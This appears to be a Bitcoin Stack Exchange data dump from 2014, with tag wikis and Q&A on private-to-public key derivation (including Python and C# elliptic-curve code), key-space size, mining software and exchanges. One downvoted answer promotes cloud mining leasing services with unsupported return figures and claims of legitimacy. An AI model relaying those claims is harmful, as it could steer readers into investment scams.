  <row Id="25020" PostTypeId="5" CreationDate="2014-04-30T21:02:19.400" Score="0" Body="&lt;p&gt;A packet is one unit of binary data capable of being routed through a computer network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each packet contains the address of its origin and destination, and information that connects it to the related packets being sent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Packets from many different locations can be sent on the same lines and be sorted and directed to different routes by various computers along the way. This is termed &quot;packet switching&quot;.&lt;/p&gt;&#xA;" OwnerUserId="6218" LastEditorUserId="117" LastEditDate="2014-05-02T08:40:13.263" LastActivityDate="2014-05-02T08:40:13.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25021" PostTypeId="4" CreationDate="2014-04-30T21:02:19.400" Score="0" Body="A packet is one unit of binary data capable of being routed through a computer network." OwnerUserId="6218" LastEditorUserId="6218" LastEditDate="2014-05-03T20:21:25.727" LastActivityDate="2014-05-03T20:21:25.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25022" PostTypeId="5" CreationDate="2014-04-30T21:29:36.047" Score="0" Body="&lt;p&gt;The hash rate is the measuring unit of the processing power of the Bitcoin network. The Bitcoin network must make intensive mathematical operations for security purposes. When the network reached a hash rate of 10 Th/s, it meant it could make 10 trillion hashes per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;Source: &lt;a href=&quot;https://bitcoin.org/en/vocabulary&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/vocabulary&lt;/a&gt;‎&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="6218" LastEditorUserId="117" LastEditDate="2014-05-02T08:38:01.277" LastActivityDate="2014-05-02T08:38:01.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25023" PostTypeId="4" CreationDate="2014-04-30T21:29:36.047" Score="0" Body="The hash rate is the measuring unit of the processing power used to secure the Bitcoin network." OwnerUserId="6218" LastEditorUserId="2306" LastEditDate="2016-01-22T03:11:04.830" LastActivityDate="2016-01-22T03:11:04.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25024" PostTypeId="1" CreationDate="2014-05-01T01:47:44.100" Score="50" ViewCount="59708" Body="&lt;p&gt;How do I, in extreme specificity, convert a given private bitcoin key into a public bitcoin key (Talk to me like I'm 5 and I have to do this step by step or the evil witch will cook me alive in her oven).  NOT where can I find a program that will do this, but if I were to do it myself, what would I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Private Key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;supposedly results in the public key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Others have asked how to get private to public, I haven't seen a really specific answer, just more general direction, but no answers explain all the variables.  I understand this is rather complex and if a given individual thinks its too much work to answer, I totally respect that.  Note:  I do not care for the Bitcoin Address, just interested in Privatekey to Publickey and the specifics of how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Variables such as the &quot;a&quot; and &quot;b&quot; in the ECDSA Curve Algorithm are already designated by Bitcoin (according to &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot;&gt;https://en.bitcoin.it/wiki/Secp256k1&lt;/a&gt;).  the &quot;base point&quot; aka &quot;G&quot; is also specified on that page.  the &quot;private exponent&quot; or &quot;k&quot;, I have yet to find.  Some of these variables are supposedly &quot;random&quot; which appears to be false as every generator that you can put a private key into seems to always spit out the same public key...so....  all the variables are either already preset or are derived from the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help on this. I've been trying to research and understand this for days, but it seems sometimes I don't understand the terms and or notations, but I think I've gotten past that and now am just missing parts of the equation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT ADD:&lt;br&gt;&#xA;This is the previous stated private key in Decimal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11253563012059685825953619222107823549092147699031672238385790369351542642469&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the previous stated public key (x and y values) in decimal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;36422191471907241029883925342251831624200921388586025344128047678873736520530&#xA;20277110887056303803699431755396003735040374760118964734768299847012543114150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All I want to know is how to go from that private key to the public key.  Supposedly it is a simple equation that doesn't involve bit shifting or xor etc.  It may include &quot;point multiplication&quot; (which I don't see how you can multiply a point defined as having both an x and a y).  No one seems to understand the intricacies of this.  Do you guys suggest I actually offer some fraction of a bitcoin to whoever explains it clearly?&lt;/p&gt;&#xA;" OwnerUserId="15552" LastEditorUserId="47827" LastEditDate="2020-10-10T10:25:46.593" LastActivityDate="2020-12-29T21:49:38.967" Title="How do you get a Bitcoin Public Key from a Private Key" Tags="|protocol|ecdsa|schnorr-signatures|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25031" PostTypeId="2" ParentId="18775" CreationDate="2014-05-01T08:47:29.513" Score="2" Body="&lt;p&gt;They're planning to add 'watch-only addresses' to bitcoind; &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4045&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/4045&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this is already the 4th pull request, they've been working on it for a long time, should be getting into the next version or something I'd guess&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;once that is in you can get this kind of data out of the basic wallet, until then you'll need to use a blockexplorer or a 'better' wallet (eg Armory) that supports watch-only addresses.&lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2014-05-01T08:47:29.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25032" PostTypeId="2" ParentId="24466" CreationDate="2014-05-01T08:53:03.110" Score="2" Body="&lt;p&gt;There's not, keep your client open or use a 3rd party wallet which doesn't require you to run a bitcoin client (blockchain.info wallet or coinbase)&lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2014-05-01T08:53:03.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25033" PostTypeId="2" ParentId="23479" CreationDate="2014-05-01T09:01:57.433" Score="2" Body="&lt;p&gt;Your plan is correct (use &lt;code&gt;getrawtransaction &amp;lt;hash&amp;gt; 1&lt;/code&gt; to get JSON instead of HEX :D) but the RPC becomes slow &gt; 60% of the blockchain because there's between 500 and 2k transactions to go through.&#xA;Make sure &lt;code&gt;txindex=1&lt;/code&gt; is in your config so it has the rawTX data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As suggested by George parsing the raw files stored will make a very significant difference, to save you a lot of work;&#xA;this project (by bitpay) already does a that nicely:&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/bitpay/insight-api&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitpay/insight-api&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2014-05-01T09:01:57.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25034" PostTypeId="1" AcceptedAnswerId="25036" CreationDate="2014-05-01T11:09:23.577" Score="1" ViewCount="287" Body="&lt;p&gt;Since the set of all private keys is denumerable, it is at least possible to create a searcheable record of all keypairs. Which, when finished, is a killer for the whole idea. Am I right or do I miss some essential part?&lt;/p&gt;&#xA;" OwnerUserId="15566" LastEditorUserId="2306" LastEditDate="2014-09-12T01:09:35.153" LastActivityDate="2014-09-12T07:25:41.830" Title="Is the denumerability of private keys a threat?" Tags="|security|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25035" PostTypeId="2" ParentId="25034" CreationDate="2014-05-01T12:11:37.457" Score="3" Body="&lt;p&gt;No, it is not a threat, because the number of possible private keys is about 2^256. Even if every atom on earth was a Petabyte hard drive, you would still not have nearly enough storage for a record of all keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(More interesting is the finite number of Bitcoin addresses, but that is still enormously large.)&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2014-05-01T13:55:20.497" LastActivityDate="2014-05-01T13:55:20.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25036" PostTypeId="2" ParentId="25034" CreationDate="2014-05-01T12:21:23.307" Score="6" Body="&lt;p&gt;There's around 2^256 possible private keys. However, there's only 2^160 valid wallet addresses. To store each key-address pair we need 160+256 bits = 25 bytes, so the searchable record will take &lt;a href=&quot;http://www.wolframalpha.com/input/?i=(2%5E160+*+25+bytes)+%2F+(4+TiB)+*+(0.6+kg)&quot; rel=&quot;nofollow&quot;&gt;several million mass of solar system if stored on 4TiB harddrives&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But first we need to create this database. If we equip each PC on Earth (around 2 billion) with 4 GPUs (each generating around &lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen_keysearch_rate&quot; rel=&quot;nofollow&quot;&gt;20Mkey/s&lt;/a&gt;), we will need &lt;a href=&quot;http://www.wolframalpha.com/input/?i=2%5E160+%2F+%28%2820e6+1%2Fs%29+*+%284*2e9%29%29&quot; rel=&quot;nofollow&quot;&gt;much more time than the age of the universe&lt;/a&gt;. By the way, we most likely will also hit the hard drive write performance limit if we write each pair to disk.&lt;/p&gt;&#xA;" OwnerUserId="2343" LastEditorUserId="5406" LastEditDate="2014-09-12T07:25:41.830" LastActivityDate="2014-09-12T07:25:41.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25039" PostTypeId="2" ParentId="25024" CreationDate="2014-05-01T17:52:39.340" Score="6" Body="&lt;p&gt;Here's a self-contained Python script that does the conversion. You can check its work by comparing to entering your private key as the &quot;Secret Exponent&quot; at &lt;a href=&quot;http://brainwallet.org/&quot; rel=&quot;nofollow&quot;&gt;Brainwallet&lt;/a&gt;. I took the script from &lt;a href=&quot;https://bitcointalk.org/index.php?topic=23241.0&quot; rel=&quot;nofollow&quot;&gt;this Bitcointalk thread&lt;/a&gt; and stripped out unnecessary stuff (like the code to use the public key to sign a message and verify that signature).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Converting the Python to instructions for a human is left as an exercise to the reader (although I'd argue that in a scenario like this Python code, with appropriate documentation, is just fine as instructions to a human). Note that it's entirely possible to compute this with pen and paper, but it could take a while, and you're likely to make a mistake, due to having to deal with such enormous numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that there are no individual operations here that are much more complicated than you'd learn in primary/elementary school. There's basic comparisons &lt;code&gt;&amp;lt; &amp;gt; ==&lt;/code&gt;, arithmetic &lt;code&gt;+ - *&lt;/code&gt;, division where you care about the quotient &lt;code&gt;/&lt;/code&gt;, remainder &lt;code&gt;%&lt;/code&gt;, or both &lt;code&gt;divmod&lt;/code&gt;, and bitwise AND (&lt;code&gt;&amp;amp;&lt;/code&gt;, which is pretty easy if you work in hex; or can be replicated with arithmetic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think a (non-genius) 5 year old could actually do it (sorry, the evil witch wins this round), but I think an average adult with enough patience could learn the math needed in nearly no time (with the Python script as a..well..script, to follow). Actually calculating even one public key without the aid of electronic computing devices could take a very long time, however (at a guess: years).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python&#xA;# python 2.x&#xA;&#xA;class CurveFp( object ):&#xA;  def __init__( self, p, a, b ):&#xA;    self.__p = p&#xA;    self.__a = a&#xA;    self.__b = b&#xA;&#xA;  def p( self ):&#xA;    return self.__p&#xA;&#xA;  def a( self ):&#xA;    return self.__a&#xA;&#xA;  def b( self ):&#xA;    return self.__b&#xA;&#xA;  def contains_point( self, x, y ):&#xA;    return ( y * y - ( x * x * x + self.__a * x + self.__b ) ) % self.__p == 0&#xA;&#xA;class Point( object ):&#xA;  def __init__( self, curve, x, y, order = None ):&#xA;    self.__curve = curve&#xA;    self.__x = x&#xA;    self.__y = y&#xA;    self.__order = order&#xA;    if self.__curve: assert self.__curve.contains_point( x, y )&#xA;    if order: assert self * order == INFINITY&#xA;&#xA;  def __add__( self, other ):&#xA;    if other == INFINITY: return self&#xA;    if self == INFINITY: return other&#xA;    assert self.__curve == other.__curve&#xA;    if self.__x == other.__x:&#xA;      if ( self.__y + other.__y ) % self.__curve.p() == 0:&#xA;        return INFINITY&#xA;      else:&#xA;        return self.double()&#xA;&#xA;    p = self.__curve.p()&#xA;    l = ( ( other.__y - self.__y ) * \&#xA;          inverse_mod( other.__x - self.__x, p ) ) % p&#xA;    x3 = ( l * l - self.__x - other.__x ) % p&#xA;    y3 = ( l * ( self.__x - x3 ) - self.__y ) % p&#xA;    return Point( self.__curve, x3, y3 )&#xA;&#xA;  def __mul__( self, other ):&#xA;    def leftmost_bit( x ):&#xA;      assert x &amp;gt; 0&#xA;      result = 1L&#xA;      while result &amp;lt;= x: result = 2 * result&#xA;      return result / 2&#xA;&#xA;    e = other&#xA;    if self.__order: e = e % self.__order&#xA;    if e == 0: return INFINITY&#xA;    if self == INFINITY: return INFINITY&#xA;    assert e &amp;gt; 0&#xA;    e3 = 3 * e&#xA;    negative_self = Point( self.__curve, self.__x, -self.__y, self.__order )&#xA;    i = leftmost_bit( e3 ) / 2&#xA;    result = self&#xA;    while i &amp;gt; 1:&#xA;      result = result.double()&#xA;      if ( e3 &amp;amp; i ) != 0 and ( e &amp;amp; i ) == 0: result = result + self&#xA;      if ( e3 &amp;amp; i ) == 0 and ( e &amp;amp; i ) != 0: result = result + negative_self&#xA;      i = i / 2&#xA;    return result&#xA;&#xA;  def __rmul__( self, other ):&#xA;    return self * other&#xA;&#xA;  def __str__( self ):&#xA;    if self == INFINITY: return &quot;infinity&quot;&#xA;    return &quot;(%d,%d)&quot; % ( self.__x, self.__y )&#xA;&#xA;  def double( self ):&#xA;    if self == INFINITY:&#xA;      return INFINITY&#xA;&#xA;    p = self.__curve.p()&#xA;    a = self.__curve.a()&#xA;    l = ( ( 3 * self.__x * self.__x + a ) * \&#xA;          inverse_mod( 2 * self.__y, p ) ) % p&#xA;    x3 = ( l * l - 2 * self.__x ) % p&#xA;    y3 = ( l * ( self.__x - x3 ) - self.__y ) % p&#xA;    return Point( self.__curve, x3, y3 )&#xA;&#xA;  def x( self ):&#xA;    return self.__x&#xA;&#xA;  def y( self ):&#xA;    return self.__y&#xA;&#xA;  def curve( self ):&#xA;    return self.__curve&#xA;&#xA;  def order( self ):&#xA;    return self.__order&#xA;&#xA;INFINITY = Point( None, None, None )&#xA;&#xA;def inverse_mod( a, m ):&#xA;  if a &amp;lt; 0 or m &amp;lt;= a: a = a % m&#xA;  c, d = a, m&#xA;  uc, vc, ud, vd = 1, 0, 0, 1&#xA;  while c != 0:&#xA;    q, c, d = divmod( d, c ) + ( c, )&#xA;    uc, vc, ud, vd = ud - q*uc, vd - q*vc, uc, vc&#xA;  assert d == 1&#xA;  if ud &amp;gt; 0: return ud&#xA;  else: return ud + m&#xA;&#xA;# secp256k1&#xA;_p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2FL&#xA;_r = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141L&#xA;_b = 0x0000000000000000000000000000000000000000000000000000000000000007L&#xA;_a = 0x0000000000000000000000000000000000000000000000000000000000000000L&#xA;_Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798L&#xA;_Gy = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8L&#xA;&#xA;class Public_key( object ):&#xA;  def __init__( self, generator, point ):&#xA;    self.curve = generator.curve()&#xA;    self.generator = generator&#xA;    self.point = point&#xA;    n = generator.order()&#xA;    if not n:&#xA;      raise RuntimeError, &quot;Generator point must have order.&quot;&#xA;    if not n * point == INFINITY:&#xA;      raise RuntimeError, &quot;Generator point order is bad.&quot;&#xA;    if point.x() &amp;lt; 0 or n &amp;lt;= point.x() or point.y() &amp;lt; 0 or n &amp;lt;= point.y():&#xA;      raise RuntimeError, &quot;Generator point has x or y out of range.&quot;&#xA;&#xA;curve_256 = CurveFp( _p, _a, _b )&#xA;generator_256 = Point( curve_256, _Gx, _Gy, _r )&#xA;g = generator_256&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;  print '======================================================================='&#xA;  ### set privkey&#xA;  # wiki&#xA;  #secret = 0xE9873D79C6D87DC0FB6A5778633389F4453213303DA61F20BD67FC233AA33262L&#xA;  # question&#xA;  secret = 0x18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725L&#xA;&#xA;  ### print privkey&#xA;  print 'secret', hex(secret)&#xA;  ### generate pubkey&#xA;  pubkey = Public_key( g, g * secret )&#xA;  ### print pubkey&#xA;  print 'pubkey', hex(pubkey.point.x()), hex(pubkey.point.y())&#xA;  print '======================================================================='&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See also an even-more-stripped-down version written in C#.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CalcPub&#xA;{&#xA;    public static void Main()&#xA;    {&#xA;        var p = BigInteger.Parse(&quot;0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F&quot;, NumberStyles.HexNumber);&#xA;        var b = (BigInteger)7;&#xA;        var a = BigInteger.Zero;&#xA;        var Gx = BigInteger.Parse(&quot;79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798&quot;, NumberStyles.HexNumber);&#xA;        var Gy = BigInteger.Parse(&quot;483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8&quot;, NumberStyles.HexNumber);&#xA;&#xA;        CurveFp curve256 = new CurveFp(p, a, b);&#xA;        Point generator256 = new Point(curve256, Gx, Gy);&#xA;&#xA;        var secret = BigInteger.Parse(&quot;18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725&quot;, NumberStyles.HexNumber);&#xA;&#xA;        Console.WriteLine(&quot;secret {0}&quot;, secret.ToString(&quot;X&quot;));&#xA;        var pubkeyPoint = generator256 * secret;&#xA;        Console.WriteLine(&quot;pubkey {0}{1}&quot;, pubkeyPoint.X.ToString(&quot;X&quot;), pubkeyPoint.Y.ToString(&quot;X&quot;));&#xA;    }&#xA;}&#xA;class Point&#xA;{&#xA;    public static readonly Point INFINITY = new Point(null, default(BigInteger), default(BigInteger));&#xA;    public CurveFp Curve { get; private set; }&#xA;    public BigInteger X { get; private set; }&#xA;    public BigInteger Y { get; private set; }&#xA;&#xA;    public Point(CurveFp curve, BigInteger x, BigInteger y)&#xA;    {&#xA;        this.Curve = curve;&#xA;        this.X = x;&#xA;        this.Y = y;&#xA;    }&#xA;    public Point Double()&#xA;    {&#xA;        if (this == INFINITY)&#xA;            return INFINITY;&#xA;&#xA;        BigInteger p = this.Curve.p;&#xA;        BigInteger a = this.Curve.a;&#xA;        BigInteger l = ((3 * this.X * this.X + a) * InverseMod(2 * this.Y, p)) % p;&#xA;        BigInteger x3 = (l * l - 2 * this.X) % p;&#xA;        BigInteger y3 = (l * (this.X - x3) - this.Y) % p;&#xA;        return new Point(this.Curve, x3, y3);&#xA;    }&#xA;    public override string ToString()&#xA;    {&#xA;        if (this == INFINITY)&#xA;            return &quot;infinity&quot;;&#xA;        return string.Format(&quot;({0},{1})&quot;, this.X, this.Y);&#xA;    }&#xA;    public static Point operator +(Point left, Point right)&#xA;    {&#xA;        if (right == INFINITY)&#xA;            return left;&#xA;        if (left == INFINITY)&#xA;            return right;&#xA;        if (left.X == right.X)&#xA;        {&#xA;            if ((left.Y + right.Y) % left.Curve.p == 0)&#xA;                return INFINITY;&#xA;            else&#xA;                return left.Double();&#xA;        }&#xA;&#xA;        var p = left.Curve.p;&#xA;        var l = ((right.Y - left.Y) * InverseMod(right.X - left.X, p)) % p;&#xA;        var x3 = (l * l - left.X - right.X) % p;&#xA;        var y3 = (l * (left.X - x3) - left.Y) % p;&#xA;        return new Point(left.Curve, x3, y3);&#xA;    }&#xA;    public static Point operator *(Point left, BigInteger right)&#xA;    {&#xA;        var e = right;&#xA;        if (e == 0 || left == INFINITY)&#xA;            return INFINITY;&#xA;        var e3 = 3 * e;&#xA;        var negativeLeft = new Point(left.Curve, left.X, -left.Y);&#xA;        var i = LeftmostBit(e3) / 2;&#xA;        var result = left;&#xA;        while (i &amp;gt; 1)&#xA;        {&#xA;            result = result.Double();&#xA;            if ((e3 &amp;amp; i) != 0 &amp;amp;&amp;amp; (e &amp;amp; i) == 0)&#xA;                result += left;&#xA;            if ((e3 &amp;amp; i) == 0 &amp;amp;&amp;amp; (e &amp;amp; i) != 0)&#xA;                result += negativeLeft;&#xA;            i /= 2;&#xA;        }&#xA;        return result;&#xA;    }&#xA;&#xA;    private static BigInteger LeftmostBit(BigInteger x)&#xA;    {&#xA;        BigInteger result = 1;&#xA;        while (result &amp;lt;= x)&#xA;            result = 2 * result;&#xA;        return result / 2;&#xA;    }&#xA;    private static BigInteger InverseMod(BigInteger a, BigInteger m)&#xA;    {&#xA;        while (a &amp;lt; 0) a += m;&#xA;        if (a &amp;lt; 0 || m &amp;lt;= a)&#xA;            a = a % m;&#xA;        BigInteger c = a;&#xA;        BigInteger d = m;&#xA;&#xA;        BigInteger uc = 1;&#xA;        BigInteger vc = 0;&#xA;        BigInteger ud = 0;&#xA;        BigInteger vd = 1;&#xA;&#xA;        while (c != 0)&#xA;        {&#xA;            BigInteger r;&#xA;            //q, c, d = divmod( d, c ) + ( c, );&#xA;            var q = BigInteger.DivRem(d, c, out r);&#xA;            d = c;&#xA;            c = r;&#xA;&#xA;            //uc, vc, ud, vd = ud - q*uc, vd - q*vc, uc, vc;&#xA;            var uct = uc;&#xA;            var vct = vc;&#xA;            var udt = ud;&#xA;            var vdt = vd;&#xA;            uc = udt - q * uct;&#xA;            vc = vdt - q * vct;&#xA;            ud = uct;&#xA;            vd = vct;&#xA;        }&#xA;        if (ud &amp;gt; 0) return ud;&#xA;        else return ud + m;&#xA;    }&#xA;}&#xA;class CurveFp&#xA;{&#xA;    public BigInteger p { get; private set; }&#xA;    public BigInteger a { get; private set; }&#xA;    public BigInteger b { get; private set; }&#xA;    public CurveFp(BigInteger p, BigInteger a, BigInteger b)&#xA;    {&#xA;        this.p = p;&#xA;        this.a = a;&#xA;        this.b = b;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-08-04T00:26:53.787" LastActivityDate="2014-08-04T00:26:53.787" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="25040" PostTypeId="1" AcceptedAnswerId="25042" CreationDate="2014-05-01T18:08:08.660" Score="1" ViewCount="7088" Body="&lt;p&gt;I know that the first and official wallet is bitcoin-qt. This wallet has code here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What was the first official miner software? I understand that bitcoin-qt never use as miner software. Where is official code of miner software?&lt;/p&gt;&#xA;" OwnerUserId="15182" LastEditorUserId="5406" LastEditDate="2016-04-24T09:14:24.437" LastActivityDate="2016-04-24T09:14:24.437" Title="What was the first official BTC miner software?" Tags="|wallet|client|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25042" PostTypeId="2" ParentId="25040" CreationDate="2014-05-01T18:26:27.957" Score="5" Body="&lt;p&gt;The first official mining software was Bitcoin Core (then known simply as Bitcoin, later bitcoin-qt), and it &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7390/does-the-program-i-downloaded-bitcoin-qt-mine-bitcoins&quot;&gt;still serves&lt;/a&gt; as a reference mining implementation, making it the &quot;official&quot; miner. See its &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/miner.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;miner.cpp&lt;/a&gt; file, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core uses your CPU to mine. Mining eventually moved to GPUs and ASICs, so that mining on a CPU is practically pointless right now. In that sense, you should never use Bitcoin Core as mining software. But it still is mining software.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-10-13T16:46:39.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25045" PostTypeId="2" ParentId="24500" CreationDate="2014-05-01T20:52:55.143" Score="1" Body="&lt;p&gt;UPDATE: looks like the testnet blockexporer don't know how to handle the multisig addresses (probably because it was hardcoded the p2sh magicbyte from mainnet) and shows them as &quot;strange&quot;, but my TX was confirmed ok and i was able to spend the incoming txs.&lt;/p&gt;&#xA;" OwnerUserId="13478" LastActivityDate="2014-05-01T20:52:55.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25046" PostTypeId="1" CreationDate="2014-05-01T21:01:15.950" Score="3" ViewCount="432" Body="&lt;p&gt;So, there are some altcoin mining algorithms now that run cool, such as X11 and groestl. By cool, I mean even when mining at full GPU capacity, the card still remains at 60C or cooler with little to no fans, and drawing little power when compared to scrypt or sha-256 mining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What mechanism is it that makes these algorithms run cooler than other proof of working algorithms? &lt;/p&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2014-05-02T19:51:06.347" Title="Why do some mining algorithms run &quot;cooler&quot; than others?" Tags="|alternatives|proof-of-work|x11|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25052" PostTypeId="2" ParentId="8318" CreationDate="2014-05-02T05:08:09.650" Score="-1" Body="&lt;p&gt;Going through a mining leasing service is now the best option to obtain Bitcoin without a bank account. Some services claim to pay out more than 200%, but if they did that then why would they be leasing the power to you instead of pocketing the currency themselves?? The honest services aim for anywhere from 70% to 150% your invested amount, paid out after it's been converted to Bitcoin and transferred to your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These services are a huge bonus for anyone that doesn't want to deal with an Exchange or the privacy issues there - They get hacked quite often. It's also a way for people to obtain Bitcoin or any crypto-currency that don't have access to an Exchange for any reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can pay with Paypal through most sites, although you'll probably want to do business with one that accepts credit cards as well. The leased mining services that accept CC payments are heavily regulated and are very likely to be legit, especially if they are located in the United States. The scrypt mining services, ones mining Litecoin, Dogecoin, etc. are the most profitable - They usually can pay you out in any cyrpto-currency coin, including Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="15579" LastActivityDate="2014-05-02T05:08:09.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25053" PostTypeId="1" CreationDate="2014-05-02T05:20:21.307" Score="0" ViewCount="231" Body="&lt;p&gt;I want to integrate pay via bitcoin option on my website but I dont want to use any third party payment gateways like bitpay or BIPS what I want is a extension of opencart in which I can pass username and password of the daemon running on my server and the extension generate new addresses for every customer upon request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do it by changing php files of opencart but that will take time so I am looking for a ready to use extension.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-07-31T20:04:36.733" Title="Is there any opencart extension where I can use address generated by my personal bitcoin daemon?" Tags="|bitcoind|payment-processors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25057" PostTypeId="1" AcceptedAnswerId="25058" CreationDate="2014-05-02T10:54:02.553" Score="1" ViewCount="229" Body="&lt;p&gt;I am beginner in crypto-currencies, i just created my account in cryptsy and can make buy/sell orders but how do i accept orders from others(i.e open orders(all buy/sell orders)) i can view the list of all buy/sell orders but don't know how to accept those orders?&lt;/p&gt;&#xA;" OwnerUserId="14629" LastActivityDate="2014-05-02T11:24:09.763" Title="How to accept trade in cryptsy?" Tags="|trading|buy-bitcoins|sell-bitcoins|exchange-order|cryptsy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
